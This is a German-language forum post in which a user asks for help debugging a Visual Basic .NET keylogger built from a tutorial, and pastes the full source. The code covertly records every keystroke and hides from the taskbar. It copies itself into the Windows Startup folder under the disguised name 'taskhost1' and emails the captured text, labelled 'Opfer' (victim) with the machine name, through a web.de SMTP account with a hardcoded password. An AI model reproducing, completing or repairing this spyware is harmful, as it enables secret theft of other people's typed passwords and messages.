Ich habe mal versucht einen Keylogger zu coden mithilfe eines Tutorials.
Vorerst:
Ich werde diesen nicht benutzen um andere Leute zu hacken, höchstens paar Freunde aus Spaß^^ Aber der eigentliche Zweck ist um zu sehen, wie sowas funktioniert und wie es aussieht und um mir etwas mehr Wissen über VB anzueignen.
So, dieser Keylogger soll wie alle anderen alle eingtippten Buchstaben notieren. Der Keylogger sollte aber auch die Funktion besitzen sich in den Autostart zu kopieren und danach sollte es mir eine E-Mail mit den Logs(der aufgezeichnete Text) schicken.
Ich bin nun soweit, das der Keylogger im Hintergrund läuft und unter Anwendungen nicht zu sehen ist. Nur unter Prozessen.
Mein Problem ist, das es nicht im Autostart ist und ich bekomme auch keine E-Mails sobald das Programm bzw. der Rechner geschlossen ist.
Ich hoffe ihr könnt mir bei diesem Problem helfen.
Mein Code:
Code:
Imports System.Net Imports System.Net.Mail Imports System.Web Imports System.IO Public Class Form1 Dim rtb1 As Object = RichTextBox1 Dim typein As String Private Declare Function GetAsnycKeyState Lib "user32" (ByVal vKey As Integer) As Integer Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) For Recorder = 1 To 255 typein = GetAsnycKeyState(Recorder) If typein = -32767 Then Select Case Recorder Case 4 rtb1.Text += "[RADK]" Case 13 rtb1.Text += "[ENTER]" Case 160 rtb1.Text += "" Case 161 rtb1.Text += "" Case 164 rtb1.Text += "[Alt]" Case 165 rtb1.Text += "[Alt]" Case 189 rtb1.Text += "-" Case 187 rtb1.Text += "+" Case 46 rtb1.Text += "." Case 16 rtb1.Text += "[Shift]" Case 17 rtb1.Text += "[Strg]" Case 18 rtb1.Text += "[Alt]" Case 21 rtb1.Text += " " Case 33 rtb1.Text += "!" Case 34 rtb1.Text = rtb1.Text + "´´" Case 35 rtb1.Text += "#" Case 36 rtb1.Text += "$" Case 37 rtb1.Text += "%" Case 38 rtb1.Text += "&" Case 39 rtb1.Text += "'" Case 40 rtb1.Text += "(" Case 41 rtb1.Text += ")" Case 42 rtb1.Text += "*" Case 43 rtb1.Text += "+" Case 44 rtb1.Text += "," Case 45 rtb1.Text += "-" Case 46 rtb1.Text += "." Case 47 rtb1.Text += "/" Case 48 rtb1.Text += "0" Case 49 rtb1.Text += "1" Case 50 rtb1.Text += "2" Case 51 rtb1.Text += "3" Case 52 rtb1.Text += "4" Case 53 rtb1.Text += "5" Case 54 rtb1.Text += "6" Case 55 rtb1.Text += "7" Case 56 rtb1.Text += "8" Case 57 rtb1.Text += "9" Case 58 rtb1.Text += ":" Case 59 rtb1.Text += ";" Case 60 rtb1.Text += "<" Case 61 rtb1.Text += "=" Case 62 rtb1.Text += ">" Case 63 rtb1.Text += "?" Case 64 rtb1.Text += "@" Case 65 rtb1.Text += "a" Case 66 rtb1.Text += "b" Case 67 rtb1.Text += "c" Case 68 rtb1.Text += "d" Case 69 rtb1.Text += "e" Case 70 rtb1.Text += "f" Case 71 rtb1.Text += "g" Case 72 rtb1.Text += "h" Case 73 rtb1.Text += "i" Case 74 rtb1.Text += "j" Case 75 rtb1.Text += "k" Case 76 rtb1.Text += "l" Case 77 rtb1.Text += "m" Case 78 rtb1.Text += "n" Case 79 rtb1.Text += "o" Case 80 rtb1.Text += "p" Case 81 rtb1.Text += "q" Case 82 rtb1.Text += "r" Case 83 rtb1.Text += "s" Case 84 rtb1.Text += "t" Case 85 rtb1.Text += "u" Case 86 rtb1.Text += "v" Case 87 rtb1.Text += "w" Case 88 rtb1.Text += "x" Case 89 rtb1.Text += "y" Case 90 rtb1.Text += "z" Case 93 rtb1.Text += "]" Case 94 rtb1.Text += "^" Case 95 rtb1.Text += "_" Case 96 rtb1.Text += "`" Case 97 rtb1.Text += "a" Case 98 rtb1.Text += "b" Case 99 rtb1.Text += "c" Case 100 rtb1.Text += "d" Case 101 rtb1.Text += "e" Case 102 rtb1.Text += "f" Case 103 rtb1.Text += "g" Case 104 rtb1.Text += "h" Case 105 rtb1.Text += "i" Case 106 rtb1.Text += "j" Case 107 rtb1.Text += "k" Case 108 rtb1.Text += "l" Case 109 rtb1.Text += "m" Case 110 rtb1.Text += "n" Case 111 rtb1.Text += "o" Case 112 rtb1.Text += "p" Case 113 rtb1.Text += "q" Case 114 rtb1.Text += "r" Case 115 rtb1.Text += "s" Case 116 rtb1.Text += "t" Case 117 rtb1.Text += "u" Case 118 rtb1.Text += "v" Case 119 rtb1.Text += "w" Case 120 rtb1.Text += "x" Case 121 rtb1.Text += "y" Case 122 rtb1.Text += "z" Case 123 rtb1.Text += "{" Case 124 rtb1.Text += "|" Case 125 rtb1.Text += "}" Case 126 rtb1.Text += "~" Case 128 rtb1.Text += "€" Case 130 rtb1.Text += "‚" Case 132 rtb1.Text += "„" Case 139 rtb1.Text += "‹" Case 145 rtb1.Text += "‘" Case 146 rtb1.Text += "’" Case 147 rtb1.Text += """" Case 148 rtb1.Text += """" Case 149 rtb1.Text += "•" Case 150 rtb1.Text += "–" Case 151 rtb1.Text += "—" Case 152 rtb1.Text += "˜" Case 155 rtb1.Text += "›" Case 161 rtb1.Text += "¡" Case 162 rtb1.Text += "" Case 163 rtb1.Text += "" Case 165 rtb1.Text += "¥" Case 166 rtb1.Text += "¦" Case 167 rtb1.Text += "§" Case 168 rtb1.Text += "¨" Case 169 rtb1.Text += "©" Case 170 rtb1.Text += "ª" Case 171 rtb1.Text += "«" Case 174 rtb1.Text += "®" Case 175 rtb1.Text += "¯" Case 176 rtb1.Text += "°" Case 180 rtb1.Text += "´" Case 183 rtb1.Text += "." Case 184 rtb1.Text += "¸" Case 185 rtb1.Text += "¹" Case 186 rtb1.Text += "ü" Case 187 rtb1.Text += "»" Case 188 rtb1.Text += "," Case 189 rtb1.Text += ":" Case 190 rtb1.Text += "." Case 192 rtb1.Text += "ö" Case 214 rtb1.Text += "Ö" Case 220 rtb1.Text += "Ü" Case 222 rtb1.Text += "ä" Case 223 rtb1.Text += "ß" Case 227 rtb1.Text += "<" Case 228 rtb1.Text += "ä" Case 230 rtb1.Text += "ç" Case 246 rtb1.Text += "ö" Case 252 rtb1.Text += "ü" End Select End If Next End Sub Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load Me.Opacity = 10 Me.ShowInTaskbar = False ADDZUAUTOSTART("taskhost1") End Sub Sub sendtext() Dim Nachricht As New MailMessage Dim MeineEinst As New System.Net.NetworkCredential MeineEinst.UserName = "" MeineEinst.Password = "hallo123" Nachricht.IsBodyHtml = False Dim MeinsmtpServer As New SmtpClient MeinsmtpServer.Host = "smtp.web.de" MeinsmtpServer.Port = "587" MeinsmtpServer.UseDefaultCredentials = False MeinsmtpServer.Credentials = MeineEinst Nachricht.From = New MailAddress("") Nachricht.To.Add("") Nachricht.Subject = "Opfer:" + System.Environment.MachineName Nachricht.Body = "Von" + (System.Environment.MachineName + "Aufgezeichneter Text" + rtb1.text) MeinsmtpServer.Send(Nachricht) End Sub Private Sub Form1_FormClosing(ByVal sender As System.Object, ByVal e As System.Windows.Forms.FormClosingEventArgs) Handles MyBase.FormClosing rtb1.Text += "Offline..." sendtext() End Sub Sub ADDZUAUTOSTART(ByVal DateiNameOhneExeEndung As String) Try If IO.File.Exists(Environment.GetFolderPath(Environment.SpecialFolder.Startup) & "\" & DateiNameOhneExeEndung & ".exe") Then rtb1.Text += "Datei ist im Autostart..." Else My.Computer.FileSystem.CopyFile(DateiNameOhneExeEndung & ".exe", (Environment.GetFolderPath(Environment.SpecialFolder.Startup) & "\" & DateiNameOhneExeEndung & ".exe")) End If Catch ex As Exception EntferneAutostart("csrss") rtb1.Text += "Fehler beim Injektieren..." End Try End Sub Sub EntferneAutostart(ByVal DateiNameOhneExeEndung As String) Try My.Computer.FileSystem.DeleteFile(Environment.GetFolderPath(Environment.SpecialFolder.Startup) & "\" & DateiNameOhneExeEndung & ".exe") rtb1.Text += "Entfernt aus Autostart..." Catch ex As Exception rtb1.Text += "Fehler beim Entfernen..." End Try End Sub End Class